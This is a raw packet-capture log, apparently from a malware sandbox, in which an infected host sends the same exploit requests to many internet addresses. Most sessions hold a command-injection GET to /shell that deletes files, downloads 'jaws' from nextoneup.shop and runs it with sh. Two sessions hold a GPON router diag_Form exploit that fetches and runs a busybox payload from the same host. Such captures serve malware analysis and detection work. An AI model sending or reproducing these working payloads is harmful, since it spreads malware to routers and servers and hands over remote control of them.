Apr 14, 2024 04:01:07.581340075 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:07.754578114 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:07 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1501	192.168.2.23	45012	195.113.221.169	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:07.585205078 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:07.929069042 CEST	457	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.14.1 Date: Sun, 14 Apr 2024 02:01:07 GMT Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1502	192.168.2.23	60178	107.191.42.224	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:07.775940895 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:08.002743006 CEST	367	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=utf-8 Location: https:/localhost:443/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Date: Sun, 14 Apr 2024 02:01:08 GMT Content-Length: 123 Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 6c 6f 63 61 6c 68 6f 73 74 3a 34 34 33 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https:/localhost:443/shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws">Moved Permanently</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1503	192.168.2.23	59948	173.95.70.182	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:07.786508083 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:08.027427912 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.0 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:01:06 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for mi
Apr 14, 2024 04:01:08.027462959 CEST	140	IN	Data Raw: 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a Data Ascii: ght have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1504	192.168.2.23	43916	186.7.101.155	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:07.807238102 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:08.071141958 CEST	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Apr 14, 2024 04:01:08.071221113 CEST	1289	IN	Data Raw: 64 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d37<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Apr 14, 2024 04:01:08.072061062 CEST	1289	IN	Data Raw: 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 74 28 22 Data Ascii: = ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshort
Apr 14, 2024 04:01:08.073040009 CEST	853	IN	Data Raw: 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 6f 72 20 6d 6f 72 Data Ascii: {var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}

Session ID	Source IP	Source Port	Destination IP	Destination Port
1505	192.168.2.23	52748	4.158.21.82	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:07.894556046 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1506	192.168.2.23	57400	104.104.65.95	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.814107895 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:09.045844078 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:01:08 GMT Date: Sun, 14 Apr 2024 02:01:08 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 37 65 66 32 65 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 38 26 23 34 36 3b 31 32 61 61 61 65 39 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 37 65 66 32 65 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 38 26 23 34 36 3b 31 32 61 61 61 65 39 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.27ef2e17.1713060068.12aaae95<P>https://errors.edgesuite.net/9.27ef2e17.1713060068.12aaae95</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1507	192.168.2.23	59576	54.224.214.142	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.816193104 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1508	192.168.2.23	49354	54.152.191.173	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.816694975 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1509	192.168.2.23	60436	51.89.244.252	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.885201931 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1510	192.168.2.23	33674	23.61.134.84	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.916735888 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:09.253089905 CEST	530	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 308 Expires: Sun, 14 Apr 2024 02:01:09 GMT Date: Sun, 14 Apr 2024 02:01:09 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 39 63 34 31 30 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 39 26 23 34 36 3b 32 61 64 39 62 31 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 37 39 63 34 31 30 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 36 39 26 23 34 36 3b 32 61 64 39 62 31 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.79c41002.1713060069.2ad9b1<P>https://errors.edgesuite.net/9.79c41002.1713060069.2ad9b1</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1511	192.168.2.23	60846	120.77.177.63	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:08.923423052 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:09.259705067 CEST	133	IN	HTTP/1.1 403 Forbidden Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:01:09 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1512	192.168.2.23	52562	37.81.224.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:09.632852077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1513	192.168.2.23	45548	202.136.72.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:09.632904053 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1514	192.168.2.23	51926	162.13.74.183	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:10.583472967 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:10.903172016 CEST	504	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 14 Apr 2024 02:00:20 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1515	192.168.2.23	38444	99.80.25.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:10.598686934 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:10.923554897 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:01:10 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1516	192.168.2.23	37354	103.253.73.74	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:10.638138056 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
